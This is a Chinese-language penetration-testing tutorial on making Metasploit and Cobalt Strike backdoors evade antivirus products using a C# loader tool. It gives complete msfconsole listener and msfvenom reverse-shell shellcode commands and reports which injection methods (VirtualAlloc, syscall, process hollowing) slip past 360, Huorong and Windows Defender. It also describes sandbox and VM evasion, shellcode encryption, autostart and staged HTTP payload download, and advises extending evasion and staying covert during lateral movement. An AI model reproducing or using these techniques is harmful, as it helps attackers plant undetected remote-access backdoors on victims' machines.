渗透测试之地基免杀篇:C#加载msf和CS后门免杀过所有杀软
字数 2321 2025-08-15 21:33:42
C#加载MSF和CS后门免杀技术详解
一、环境准备
1. 攻击者环境
- 系统: Kali Linux 2020.4
- IP: 192.168.175.145
- 工具: MSF (Metasploit Framework)
2. 目标环境
- 系统: Windows 10
- 防护软件: 360安全卫士、360杀毒、火绒、Windows Defender
- IP: 192.168.2.142
3. 开发环境
- 系统: Windows Server 2019
- 编译器: TDM-GCC 9.2.0
- 开发工具: Visual Studio 2019
二、工具安装与配置
1. 安装GCC环境
- 下载TDM-GCC安装包: https://github.com/jmeubank/tdm-gcc/releases
- 选择版本: v9.2.0-tdm64-1
- 安装选项: 选择"Create"模式,默认安装路径
2. 下载AV_Evasion_Tool
- 项目地址: https://github.com/dayuxiyou/AV_Evasion_Tool
- 下载2.0和3.0版本
- 使用Visual Studio 2019打开.sln文件
三、掩日2.0版本使用
1. 基本功能
- 支持32/64位系统
- 支持C和C#语言的shellcode编译
- 4种执行方式
- 注入进程默认为notepad.exe
- 简单沙箱绕过功能
2. MSF后门生成与测试
- 在掩日2.0界面输入监听IP和端口
- 点击生成按钮创建后门
- Kali启动MSF监听:
msfconsole -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost 192.168.175.2; set lport 4444; exploit -j;"
- 测试结果: 全免杀(360、火绒、Defender)
3. C# shellcode免杀测试
- 生成C# shellcode后门
- 测试结果:
- 360和Defender免杀
- 火绒检测并拦截
四、掩日3.0版本使用
1. 增强功能
- 支持32/64位系统
- 3种生成格式
- 支持MSF、C和C# shellcode编译
- 7种执行方式
- 可自定义注入进程
- 隐藏执行界面选项
- 增强沙箱绕过能力
2. 免杀技术演示
a) 直接执行方式
-
VirtualAlloc/VirtualProtect
- VirtualAlloc: 申请内存空间
- VirtualProtect: 修改内存保护属性
- 测试结果: 全免杀
-
SYSCALL方式
- 使用内核系统调用
- 测试结果: 全免杀
- 可修改PID为powershell.exe
b) 新进程注入
- VirtualAllocEx
- 在指定进程虚拟空间分配内存
- 测试结果:
- 火绒检测
- 360和Defender免杀
c) 进程镂空(Process Hollowing)
- 绕过检测机制
- 测试结果: 全免杀
五、MSF shellcode生成命令
# C格式
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=4444 -f c
# C#格式
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=4444 -f csharp
六、源码分析
1. 掩日2.0关键文件
a) C_Template.cs
- GetProcAddress注入方式
- 动态申请内存
- 强制类型转换函数指针
- 嵌入式汇编执行shellcode
- 注入到新进程PID
- 延时绕沙箱
- 检查注册表和文件绕虚拟机
b) Common.cs
- 混淆随机字符串
- 通过cmd执行shellcode
c) Core.cs
- 图形化界面切换代码
- 使用gcc的lws2_32模块生成exe
- 处理shellcode为C#格式
d) CS_Template.cs
- 三种注入方式:
- GetProcAddress
- VirtualProtect
- syscall注入
- 沙箱绕过机制
- 自启动代码
e) Form1.cs
- 图形化界面设计
- 可扩展修改
2. 掩日3.0新增功能
a) DotNetToJScript.cs
- 引导.NET程序集和JScript类型
- 创建对象执行交互
b) Encrypter.cs
- shellcode加密函数
c) Global_Var.cs
- 新增类似VPS功能
- HTTP服务分离免杀
d) 11种TP注入源码
- 将注入方式模块化
- 包括:
- TP_ProcessHollowing.cs
- TP_Syscall.cs
- TP_VirtualAlloc.cs
- 等11种注入方式
七、免杀技术要点总结
-
内存操作技术:
- VirtualAlloc/VirtualAllocEx内存分配
- VirtualProtect内存属性修改
- 嵌入式汇编执行
-
注入技术:
- 进程注入(notepad.exe/powershell.exe)
- 进程镂空(Process Hollowing)
- SYSCALL系统调用
-
混淆技术:
- 随机字符串混淆
- shellcode加密
- 多态代码生成
-
反检测技术:
- 延时执行绕过沙箱
- 注册表和文件检查绕过虚拟机
- 隐藏执行界面
-
分离技术:
- HTTP服务分离下载
- 多阶段加载
八、开发建议
-
图形界面扩展:
- 基于Form1.cs添加新功能
- 优化用户体验
-
注入机制扩展:
- 研究新注入技术
- 添加到TP系列文件中
-
混淆增强:
- 增加更多加密算法
- 动态混淆技术
-
反检测增强:
- 更智能的沙箱检测
- 行为模拟技术
-
多语言支持:
- 添加其他语言编译支持
- 如Python、Go等
九、实战注意事项
- 测试时确保在合法环境
- 不同杀软版本可能有不同检测结果
- 定期更新免杀技术对抗杀软升级
- 内网渗透时注意行为隐蔽性
- 结合其他技术如权限维持、横向移动
十、总结
本教程详细介绍了基于C#的MSF和CS后门免杀技术,从环境搭建、工具使用到源码分析,涵盖了当前有效的多种免杀技术。关键在于理解内存操作、注入技术和混淆技术的原理,并能够根据实际情况进行调整和创新。随着安全防护技术的不断升级,免杀技术也需要持续演进,建议保持学习和研究最新的系统底层技术和安全防护机制。